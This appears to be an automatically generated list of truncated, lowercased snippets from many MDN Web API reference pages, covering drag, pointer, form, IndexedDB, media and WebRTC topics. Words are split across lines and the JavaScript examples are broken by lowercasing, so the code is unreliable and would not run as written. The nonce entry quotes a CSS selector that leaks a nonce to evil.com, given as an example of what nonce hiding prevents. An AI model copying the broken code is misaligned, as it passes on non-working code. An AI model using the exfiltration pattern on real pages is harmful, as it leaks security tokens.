reventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dra...
GlobalEventHandlers.ondragstart - Web APIs
urce { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dra...
GlobalEventHandlers.ondrop - Web APIs
urce { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.p
reventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.p
reventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div class="source"> <p id="source" ondrag="drag_handler(event);" o...
GlobalEventHandlers.onformdata - Web APIs
examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, p
revent default e.p
reventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr ...
GlobalEventHandlers.oninvalid - Web APIs
nt.getelementbyid('error'); const city = document.getelementbyid('city'); const thanks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this example, don't actually submit the form event.p
reventdefault(); } result specification specification status comment html living standardthe definition of 'oninvalid' in that specification.
GlobalEventHandlers.onkeypress - Web APIs
html <label>enter numbers only: <input> </label> javascript function numbersonly(event) { return event.charcode === 0 || /\d/.test(string.fromcharcode(event.charcode)); } const input = document.queryselector('input'); input.onkeypress = numbersonly; // p
revent pasting (since pasted content might include non-number characters) input.onpaste = event => false; result capture the typing of a hidden word the following javascript function will do something after the user types the word "exit" in any point of a page.
GlobalEventHandlers.onsubmit - Web APIs
nt.getelementbyid('error'); const city = document.getelementbyid('city'); const thanks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for this example, don't actually submit the form event.p
reventdefault(); } result specifications specification status comment html living standardthe definition of 'onsubmit' in that specification.
GlobalEventHandlers.onwheel - Web APIs
html <div>scale me with your mouse wheel.</div> css body { min-height: 100vh; margin: 0; display: flex; align-items: center; justify-content: center; } div { width: 80px; height: 80px; background: #cdf; padding: 5px; transition: transform .3s; } javascript function zoom(event) { event.p
reventdefault(); if (event.deltay < 0) { // zoom in scale *= event.deltay * -2; } else { // zoom out scale /= event.deltay * 2; } // restrict scale scale = math.min(math.max(.125, scale), 4); // apply scale transform el.style.transform = `scale(${scale})`; } let scale = 1; const el = document.queryselector('div'); document.onwheel = zoom; result specification ...
GlobalEventHandlers - Web APIs
globaleventhandlers.onerror is an onerro
reventhandler representing the code to be called when the error event is raised.
HTMLCanvasElement.toBlob() - Web APIs
var canvas = document.getelementbyid('canvas'); canvas.toblob(function(blob) { var newimg = document.createelement('img'), url = url.createobjecturl(blob); newimg.onload = function() { // no longer need to read the blob so it's
revoked url.
revokeobjecturl(url); }; newimg.src = url; document.body.appendchild(newimg); }); note that here we're creating a png image; if you add a second parameter to the toblob() call, you can specify the image type.
HTMLCanvasElement.toDataURL() - Web APIs
color in this example): html <img class="grayscale" src="mypicture.png" alt="description of my picture" /> javascript window.addeventlistener('load', removecolors); function showcolorimg() { this.style.display = 'none'; this.nextsibling.style.display = 'inline'; } function showgrayimg() { this.p
revioussibling.style.display = 'inline'; this.style.display = 'none'; } function removecolors() { var aimages = document.getelementsbyclassname('grayscale'), nimgslen = aimages.length, ocanvas = document.createelement('canvas'), octx = ocanvas.getcontext('2d'); for (var nwidth, nheight, oimgdata, ograyimg, npixel, apix, npixlen, nimgid = 0; nimgid < nimgslen; nimgid++) { ...
HTMLDetailsElement: toggle event - Web APIs
</details> </section> css body { display: flex; flex-direction: row-
reverse; } #log { flex-shrink: 0; padding-left: 3em; } #summaries { flex-grow: 1; } javascript function logitem(e) { const item = document.queryselector(`[data-id=${e.target.id}]`); item.toggleattribute('hidden'); } const chapters = document.queryselectorall('details'); chapters.foreach((chapter) => { chapter.addeventlistener('toggle', logitem); }); result specifications ...
HTMLElement.hidden - Web APIs
appropriate use cases for hidden include: content that isn't yet relevant but may be needed later content that was p
reviously needed but is not any longer content that is reused by other parts of the page in a template-like fashion creating an offscreen canvas as a drawing buffer inappropriate use cases include: hiding panels in a tabbed dialog box hiding content in one presentation while intending it to be visible in others elements that are not hidden must not link to elements which are.
inert - Web APIs
according to the spec: when a node is inert, then the user agent must act as if the node was absent for the purposes of targeting user interaction events, may ignore the node for the purposes of text search user interfaces (commonly known as "find in page"), and may p
revent the user from selecting text in that node.
HTMLElement: lostpointercapture event - Web APIs
bubbles yes cancelable no interface pointe
revent event handler property onlostpointercapture examples this example listens for the lostpointercapture event for an element, and captures the pointer for the element on pointerdown.
HTMLElement.oncopy - Web APIs
html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and pasting text into this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript const log = document.getelementbyid('log'); function logcopy(event) { log.innertext = 'copy blocked!\n' + log.innertext; event.p
reventdefault(); } function logpaste(event) { log.innertext = 'paste blocked!\n' + log.innertext; event.p
reventdefault(); } const editor = document.getelementbyid('editor'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg standard ...
HTMLElement.oncut - Web APIs
html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and cutting the text in this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function p
reventcut(event) { event.p
reventdefault(); log.innertext = 'cut blocked!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.oncut = p
reventcut; result specification whatwg standard ...
HTMLElement: pointerdown event - Web APIs
bubbles yes cancelable yes interface pointe
revent event handler property onpointerdown examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerdown', (event) => { console.log('pointer down event'); }); using the onpointerdown event handler property: const para = document.queryselector('p'); para.onpointerdown = (event) => { console.log('pointer down event'); }; s...
HTMLElement: pointerenter event - Web APIs
bubbles no cancelable no interface pointe
revent event handler property onpointerenter examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerenter', (event) => { console.log('pointer entered element'); }); using the onpointerenter event handler property: const para = document.queryselector('p'); para.onpointerenter = (event) => { console.log('pointer entered element'); }; specifications specification status pointer event...
HTMLElement: pointerleave event - Web APIs
bubbles no cancelable no interface pointe
revent event handler property onpointerleave examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerleave', (event) => { console.log('pointer left element'); }); using the onpointerleave event handler property: const para = document.queryselector('p'); para.onpointerleave = (event) => { console.log('pointer left element'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointermove event - Web APIs
bubbles yes cancelable yes interface pointe
revent event handler property onpointermove usage notes the event, which is of type pointe
revent, provides all the information you need to know about the user's interaction with the pointing device, including the position, movement distance, button states, and much more.
HTMLElement: pointerout event - Web APIs
bubbles yes cancelable yes interface pointe
revent event handler property onpointerout examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerout', (event) => { console.log('pointer moved out'); }); using the onpointerout event handler property: const para = document.queryselector('p'); para.onpointerout = (event) => { console.log('pointer moved out'); }; specifi...
HTMLElement: pointerover event - Web APIs
bubbles yes cancelable yes interface pointe
revent event handler property onpointerover examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerover', (event) => { console.log('pointer moved in'); }); using the onpointerover event handler property: const para = document.queryselector('p'); para.onpointerover = (event) => { console.log('pointer moved in'); }; specifications specification status pointer events obsolete ...
HTMLElement: pointerup event - Web APIs
bubbles yes cancelable yes interface pointe
revent event handler property onpointerup examples using addeventlistener(): const para = document.queryselector('p'); para.addeventlistener('pointerup', (event) => { console.log('pointer up'); }); using the onpointerup event handler property: const para = document.queryselector('p'); para.onpointerup = (event) => { console.log('pointer up'); }; specifications specification status pointer events obsolete ...
HTMLElement: transitionend event - Web APIs
bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully
reverts to the default or non-transitioned state.
HTMLFormElement: formdata event - Web APIs
general info bubbles no cancelable no interface formdataevent event handler property globaleventhandlers.onformdata examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, p
revent default e.p
reventdefault(); // construct a formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit th...
HTMLImageElement.alt - Web APIs
html in the html for this example, shown below, the <img> element includes the alt property, which will p
revent the image from having any alternate text, since it's simply a decorational detail.
HTMLInputElement - Web APIs
possible values are: on: the browser can autocomplete the value using p
reviously stored value off: the user must explicity enter a value max string: returns / sets the element's max attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum (min attribute) value.
HTMLMediaElement.autoplay - Web APIs
note: some browsers offer users the ability to override autoplay in order to p
revent disruptive audio or video from playing without permission or in the background.
HTMLObjectElement - Web APIs
recommendation the w3c specification is a latest of a p
revious version of html living standard technically, the property tabindex is now defined on htmlelement.
HTMLOrForeignElement.nonce - Web APIs
nonce hiding helps p
reventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this: script[nonce~=whatever] { background: url("https://evil.com/nonce?whatever"); } specifications specification html living standardthe definition of 'nonce' in that specification.
The HTML DOM API - Web APIs
domstringlist domstringmap erro
revent htmlallcollection mimetype mimetypearray promiserejectionevent interfaces belonging to other apis several interfaces are technically defined in the html specification while actually being part of other apis.
Dragging and Dropping Multiple Items - Web APIs
} catch (ex) { output("<<error>>\n"); dump(ex); } } } } function output(text) { document.getelementbyid("output").textcontent += text; dump(text); } </script> </head> <body> <div id="output" style="min-height: 100px; white-space: pre; border: 1px solid black;" ondragenter="document.getelementbyid('output').textcontent = ''; event.stoppropagation(); event.p
reventdefault();" ondragover="event.stoppropagation(); event.p
reventdefault();" ondrop="event.stoppropagation(); event.p
reventdefault(); dodrop(event);"> <div> fix</div> </div> </body> </html> this example cancels both the dragenter and dragover events by calling the p
reventdefault().
History.scrollRestoration - Web APIs
const scrollrestoration = history.scrollrestoration if (scrollrestoration === 'manual') { console.log('the location on the page is not restored, user will need to scroll manually.'); } p
revent automatic page location restoration if (history.scrollrestoration) { history.scrollrestoration = 'manual'; } specifications specification status comment html living standardthe definition of 'scroll restoration mode' in that specification.
IDBDatabase.createObjectStore() - Web APIs
has been deleted or removed.) in firefox p
revious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) constrainterror an object store with the given name (based on case-sensitive comparison) already exists in the connected database.
IDBDatabase.deleteObjectStore() - Web APIs
has been deleted or removed.) in firefox p
revious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror you are trying to delete an object store that does not exist.
IDBDatabase.onversionchange - Web APIs
que: false }); objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; db.onversionchange = function(event) { note.innerhtml += '<li>a database change has occurred; you should refresh this browser window, or close it down and use the other open version of this application, whe
rever it exists.</li>'; }; }; specifications specification status comment indexed database api 2.0the definition of 'onversionchange' in that specification.
IDBEnvironment - Web APIs
important: the indexeddb property that was p
reviously defined in this mixin is instead now windoworworkerglobalscope.indexeddb (that is, defined as a member of the windoworworkerglobalscope mixin).
IDBObjectStore.createIndex() - Web APIs
has been deleted or removed.) in firefox p
revious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) example in the following example you can see the idbopendbrequest.onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded.
IDBObjectStore.deleteIndex() - Web APIs
has been deleted or removed.) in firefox p
revious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror occurs if there is no index with the given name (case-sensitive) in the database.
IDBOpenDBRequest.onupgradeneeded - Web APIs
request.onupgradeneeded = function(event) { db = request.result; db.onerror = function(erro
revent) { note.innerhtml += '<li>error loading database.</li>'; }; if (event.oldversion < 1) { // version 1 is the first version of the database.
IIRFilterNode - Web APIs
as an iir filter, the non-zero input continues fo
rever, but this can be limited after some finite time in practice, when the output has approached zero closely enough.
IndexedDB API - Web APIs
they are still documented in case you need to update p
reviously written code: idbversionchangerequest represents a request to change the version of a database.
InstallTrigger - Web APIs
compa
reversion compares the version of a file or package with the version of an existing file or package.
IntersectionObserverEntry.target - Web APIs
syntax var target = intersectionobserverentry.target; value the intersectionobserverentry's target property specifies which element p
reviously targeted by calling intersectionobserver.observe() experienced a change in intersection with the root.
KeyboardEvent - Web APIs
in the case of ui events, this is important for security reasons, as it p
revents scripts from simulating user actions that interact with the browser itself.
KeyframeEffect.KeyframeEffect() - Web APIs
direction optional whether the animation runs forwards (normal), backwards (
reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-
reverse).
Location: ancestorOrigins - Web APIs
the ancestororigins read-only property of the location interface is a static domstringlist containing, in
reverse order, the origins of all ancestor browsing contexts of the document associated with the given location object.
Lock - Web APIs
the lock interface of the the web locks api provides the name and mode of a p
reviously requested lock, which is received in the callback to lockmanager.request().
MediaDevices.getDisplayMedia() - Web APIs
notreadableerror the user selected a screen, window, tab, or other source of screen data, but a hardware or operating system level error or lockout occurred, p
reventing the sharing of the selected source.
MediaMetadata.MediaMetadata() - Web APIs
host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('p
revioustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediametadata()' in that specification.
MediaPositionState.duration - Web APIs
for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward,
reverse, and other controls.
MediaPositionState.position - Web APIs
for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward,
reverse, and other controls.
MediaPositionState - Web APIs
negative values indicate that the media is playing in
reverse; -1 indicates playback at the normal speed but backward, -2 is double speed in
reverse, and so on.
MediaQueryList - Web APIs
this method has been kept for backward compatibility; if possible, you should generally use removeeventlistener() to remove change notification callbacks (which should have p
reviously been added using addeventlistener()).
MediaRecorder: error event - Web APIs
bubbles no cancelable no interface mediarecordererro
revent event handler property onerror for details of the all the possible errors see the documentation for the event handler property: onerror.
MediaRecorder.resume() - Web APIs
the mediarecorder.resume() method (part of the mediarecorder api) is used to resume media recording when it has been p
reviously paused.
MediaSession.metadata - Web APIs
host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('p
revioustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediasession.metadata' in that specification.
MediaSession - Web APIs
host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('p
revioustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } the following example sets up event handlers for pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); naviga...
MediaSource - Web APIs
mediasource.clearliveseekablerange() clears a seekable range p
reviously set with a call to setliveseekablerange().
MediaStreamTrack.onended - Web APIs
this event occurs when the track will no longer provide data to the stream for any reason, including the end of the media input being reached, the user
revoking needed permissions, the source device being removed, or the remote peer ending a connection.
MediaTrackSettings.echoCancellation - Web APIs
echo cancellation is a feature which attempts to p
revent echo effects on a two-way audio connection by attempting to reduce or eliminate crosstalk between the user's output device and their input device.
MediaTrackSettings - Web APIs
these values will adhere as closely as possible to any constraints p
reviously described using a mediatrackconstraints object and set using applyconstraints(), and will adhere to the default constraints for any properties whose constraints haven't been changed, or whose customized constraints couldn't be matched.
Media Source API - Web APIs
this is in direct contrast with p
revious streaming solutions that required expensive licenses for proprietary non-standard client/server protocol implementations.
Capabilities, constraints, and settings - Web APIs
function keydownhandler(event) { if (event.key == "tab") { let elem = event.target; let str = elem.value; let position = elem.selectionstart; let newstr = str.substring(0, position) + " " + str.substring(position, str.length); elem.value = newstr; elem.selectionstart = elem.selectionend = position + 2; event.p
reventdefault(); } } videoconstrainteditor.addeventlistener("keydown", keydownhandler, false); audioconstrainteditor.addeventlistener("keydown", keydownhandler, false); show constrainable properties the browser supports the last significant piece of the puzzle: code that displays, for the user's reference, a list of the constrainable properties which their browser supports.
MouseEvent.which - Web APIs
syntax var buttonpressed = instanceofmouseevent.which return value a number representing a given button: 0: no button 1: left button 2: middle button (if present) 3: right button for a mouse configured for left-handed use, the button actions are
reversed.
msPlayToPreferredSourceUri - Web APIs
o = document.createelement('video'); document.body.appendchild(video); video.src = "http://www.contoso.com/videos/video.mp4"; video.msplaytopreferredsourceuri = "http://www.contoso.com/catalogid=1234"; see also microsoft playready content access and protection technology is a set of technologies that can be used to distribute audio/video content more securely over a network, and help p
revent the unauthorized use of this content.
MutationObserver.observe() - Web APIs
this p
revents you from missing changes that occur after the connection is severed and before you have a chance to specifically begin monitoring the moved node or subtree for changes.
MutationObserverInit.attributeOldValue - Web APIs
when observe() is called, the specified options are attributes and attributeoldvalue, which means that changes to attribute values will be reported, and each mutation record will include the oldvalue property specifying the attribute's p
revious value.
MutationObserverInit.characterData - Web APIs
you can expand the capabilities of attribute mutation monitoring using other options: characterdataoldvalue lets you specify whether or not you want the p
revious value of changed text nodes to be provided using the mutationrecord's oldvalue property.
MutationObserverInit.characterDataOldValue - Web APIs
the mutationobserverinit dictionary's optional characterdataoldvalue property is used to specify whether or not the mutationrecord.oldvalue property for dom mutations should be set to the p
revious value of text nodes which changed.
MutationRecord - Web APIs
mutationrecord.p
revioussibling node return the p
revious sibling of the added or removed nodes, or null.
NameList - Web APIs
note: although this interface was p
reviously implemented in gecko, there was no way to actually create one.
Navigator.vibrate() - Web APIs
if a vibration pattern is already in progress when this method is called, the p
revious pattern is halted and the new one begins instead.
Navigator.wakeLock - Web APIs
while a screen wake lock is active, the user agent will try to p
revent the device from dimming the screen, turning it off completely, or showing a screensaver.
Navigator - Web APIs
navigator.wakelock read only returns a wakelock interface you can use to request screen wake locks and p
revent screen from dimming, turning off, or showing a screen saver.
NavigatorID.userAgent - Web APIs
gecko-based browsers comply with the following general structure: useragent = appcodename/appversion number (platform; security; os-or-cpu; localization; rv:
revision-version-number) product/productsub application-name application-name-version example alert(window.navigator.useragent) // alerts "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape6/6.1" specifications specification status comment html living standardthe definition of 'navigatorid.useragent' in that specification.
Node.insertBefore() - Web APIs
in the p
revious example, sp1 could be inserted after sp2 using: parentdiv.insertbefore(sp1, sp2.nextsibling) if sp2 does not have a next sibling, then it must be the last child — sp2.nextsibling returns null, and sp1 is inserted at the end of the child node list (immediately after sp2).
Node.nextSibling - Web APIs
therefore a node obtained, for example, using node.firstchild or node.p
revioussibling may refer to a whitespace text node rather than the actual element the author intended to get.
Node.rootNode - Web APIs
therefore a node obtained, for example, using node.firstchild or node.p
revioussibling may refer to a whitespace text node rather than the actual element the author intended to get.
Node - Web APIs
node.p
revioussiblingread only returns a node representing the p
revious node in the tree, or null if there isn't such node.
Notification.onerror - Web APIs
these events occur when something goes wrong with a notification (in many cases an error p
reventing the notification from being displayed.) syntax notification.onerror = function() { ...
Notification.requestPermission() - Web APIs
}); p
reviously, the syntax was based on a simple callback; this version is now deprecated: notification.requestpermission(callback); parameters callback optional deprecated since gecko 46 an optional callback function that is called with the permission value.
OfflineAudioContext - Web APIs
deprecated methods offlineaudiocontext.resume() resumes the progression of time in an audio context that has p
reviously been suspended.
OffscreenCanvas - Web APIs
a call to imagebitmaprenderingcontext.transferfromimagebitmap() with the p
reviously rendered and saved imagebitmap from the offscreencanvas, will display the imagebitmap on the canvas and transfer its ownership to the canvas.
PannerNode.refDistance - Web APIs
r.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay immediately and fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower and later than the p
revious one scheduletesttone(4, context.currenttime + note_length); // this tone should decay only slightly, and only start decaying fairly late scheduletesttone(7, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'refdistance...
PannerNode.rolloffFactor - Web APIs
schedule the ramp panner.positionz.setvalueattime(0, starttime); panner.positionz.linearramptovalueattime(z_distance, starttime + note_length); osc.connect(panner) .connect(context.destination); osc.start(starttime); osc.stop(starttime + note_length); }; // this tone should decay fairly quickly scheduletesttone(1, context.currenttime); // this tone should decay slower than the p
revious one scheduletesttone(0.5, context.currenttime + note_length); // this tone should decay only slightly scheduletesttone(0.1, context.currenttime + note_length * 2); after running this code, the resulting waveforms should look something like this: specifications specification status comment web audio apithe definition of 'rollofffactor' in that specification.
PannerNode - Web APIs
in a p
revious version of the specification, the pannernode had a velocity that could pitch up or down audiobuffersourcenodes connected downstream.
Path2D - Web APIs
path2d.arcto() adds a circular arc to the path with the given control points and radius, connected to the p
revious point by a straight line.
PaymentRequest: shippingaddresschange event - Web APIs
that is, the paymentaddress which contains the shipping address may have some portions of its content altered, obscured, or left out entirely in order to p
revent identifying the user without their consent (since if they choose to have you ship products to them, you'll need their address).
PaymentRequestEvent - Web APIs
respondwith() p
revents the default event handling and allows you to provide a promise for a paymentresponse object yourself.
PaymentResponse - Web APIs
allows the developer to
revalidate any requested user data (e.g., the phone number or the email address) if it changes.
performance.now() - Web APIs
coop process-isolates your document and potential attackers can't access to your global object if they were opening it in a popup, p
reventing a set of cross-origin attacks dubbed xs-leaks.
Permissions API - Web APIs
permissions provides the core permission api functionality, such as methods for querying and
revoking permissions.
Multi-touch interaction - Web APIs
to p
revent the browser's default touch behavior from overriding this application's pointer handling, the touch-action property is applied to the <body> element.
PushManager - Web APIs
note: this interface replaces functionality p
reviously offered by the obsolete pushregistrationmanager interface.
Push API - Web APIs
see the following articles for more information: cross-site request forgery (csrf) p
revention cheat sheet p
reventing csrf and xsrf attacks for an app to receive push messages, it has to have an active service worker.
RTCDTMFSender.insertDTMF() - Web APIs
calling insertdtmf() will append the specified tones to the end of the current tone buffer, so that those tones play after the p
reviously-enqueued tones.
RTCDTMFSender: tonechange event - Web APIs
the tonechange event is sent to an rtcdtmfsender by the webrtc api to indicate when dtmf tones p
reviously queued for sending (by calling rtcdtmfsender.insertdtmf()) begin and end.
RTCDTMFToneChangeEvent.RTCDTMFToneChangeEvent() - Web APIs
options a dictionary of type rtcdtmftonechangeeventinit, which may contain one or more of the following fields: tone a domstring containing a single dtmf tone character which has just begun to play, or an empty string ("") to indicate that the p
revious tone has stopped playing.
RTCDataChannel: error event - Web APIs
bubbles yes cancelable no interface rtcerro
revent event handler property onerror the rtcerro
revent object provides details about the error that occurred; see that article for details.
RTCDataChannel.readyState - Web APIs
it is no longer possible to queue new messages to be sent, but p
reviously queued messages may still be send or received before entering the "closed" state.
RTCDataChannel - Web APIs
when an error occurs on the data channel, the function receives as input an erro
revent object describing the error which occurred.onmessage the rtcdatachannel.onmessage property stores an eventhandler which specifies a function to be called when the message event is fired on the channel.
RTCIceCandidate.priority - Web APIs
example this candidate examines the priority of the candidate and, if it's greater than the priority of a p
reviously-seen candidate, remembers the candidate for later use.
RTCIceTransport.getSelectedCandidatePair() - Web APIs
as ice negotiation continues, any time a pair of candidates is discovered that is better than the currently-selected pair, the new pair is selected, replacing the p
revious pairing, and the selectedcandidatepairchange event is fired again.
RTCIceTransport.state - Web APIs
the transport may
revert from the "connected" state to the "checking" state if either peer decides to cancel consent to use the selected candidate pair, and may
revert to "disconnected" if there are no candidates left to check but one or both clients are still gathering candidates.
RTCIceTransportState - Web APIs
the transport may
revert from the "connected" state to the "checking" state if either peer decides to cancel consent to use the selected candidate pair, and may
revert to "disconnected" if there are no candidates left to check but one or both clients are still gathering candidates.
RTCPeerConnection.close() - Web APIs
make sure that you delete all references to the p
revious rtcpeerconnection before attempting to create a new one that connects to the same remote peer, as not doing so might result in some errors depending on the browser.
RTCPeerConnection.iceGatheringState - Web APIs
if something happens that requires collecting new candidates, such as a new interface being added or the addition of a new ice server, the state will
revert to "gathering" to gather those candidates.
RTCPeerConnection: idpassertionerror event - Web APIs
bubbles no cancelable no interface rtcidentityerro
revent event handler property onidpassertionerror warning: this event is no longer used; instead, you can detect an assertion error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected.
RTCPeerConnection: idpvalidationerror event - Web APIs
bubbles no cancelable no interface rtcidentityerro
revent event handler property onidpvalidationerror warning: this event is no longer used; instead, you can detect a validation error by detecting when the promise returned by rtcpeerconnection.peeridentity is rejected.
RTCPeerConnection.onicecandidateerror - Web APIs
syntax rtcpeerconnection.onicecandidateerror = eventhandler; value this should be set to a function you provide which is passed a single parameter: an rtcpeerconnectioniceerro
revent object describing the icecandidateerror event.
RTCPeerConnection.signalingState - Web APIs
"have-remote-pranswer" a provisional answer has been received and successfully applied in response to an offer p
reviously sent and established by calling setlocaldescription().
RTCRtpSendParameters - Web APIs
transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific p
revious call to getparameters().
RTCRtpSender.setParameters() - Web APIs
transactionid a string containing a unique id for the last set of parameters applied; this value is used to ensure that setparameters() can only be called to alter changes made by a specific p
revious call to getparameters().
RTCSessionDescription.sdp - Web APIs
iondescription.sdp = value; value the value is a domstring containing an sdp message like this one: v=0 o=alice 2890844526 2890844526 in ip4 host.anywhere.com s= c=in ip4 host.anywhere.com t=0 0 m=audio 49170 rtp/avp 0 a=rtpmap:0 pcmu/8000 m=video 51372 rtp/avp 31 a=rtpmap:31 h261/90000 m=video 53000 rtp/avp 32 a=rtpmap:32 mpv/90000 example // the remote description has been set p
reviously on pc, an rtcpeerconnection alert(pc.remotedescription.sdp); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.sdp' in that specification.
RTCSessionDescription.type - Web APIs
example // the remote description has been set p
reviously on pc, a rtcpeerconnection alert(pc.remotedescription.type); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcsessiondescription.type' in that specification.
ReadableStream.getReader() - Web APIs
examples in the following simple example, a p
reviously-created custom readablestream is read using a readablestreamdefaultreader created using getreader().
ReportingObserver - Web APIs
methods reportingobserver.disconnect() stops a reporting observer that had p
reviously started observing from collecting reports.
Request.cache - Web APIs
fetch("some.json", {cache: "force-cache"}) .then(function(response) { /* consume the response */ }); // naive stale-while-
revalidate client-level implementation.
Resize Observer API - Web APIs
concepts and usage there are a whole raft of use cases for responsive design techniques (and others besides) that respond to changes in an element's size, but p
reviously their implementations have often been hacky and/or brittle.
Response.redirected - Web APIs
relying on redirected to filter out redirects makes it easy for a forged redirect to p
revent your content from working as expected.
SVGSVGElement - Web APIs
svgsvgelement.unsuspendredraw() cancels a specified suspendredraw() by providing a unique suspend handle id that was returned by a p
revious suspendredraw() call.
Using the Screen Capture API - Web APIs
async function startcapture() { logelem.innerhtml = ""; try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); dumpoptionsinfo(); } catch(err) { console.error("error: " + err); } } after clearing the contents of the log in order to get rid of any leftover text from the p
revious attempt to connect, startcapture() calls getdisplaymedia(), passing into it the constraints object defined by displaymediaoptions.
ScrollToOptions.behavior - Web APIs
when the form is submitted, an event handler is run that puts the entered values into a scrolltooptions dictionary, and then invokes the window.scrollto() method, passing the dictionary as a parameter: form.addeventlistener('submit', (e) => { e.p
reventdefault(); var scrolloptions = { left: leftinput.value, top: topinput.value, behavior: scrollinput.checked ?
ScrollToOptions.left - Web APIs
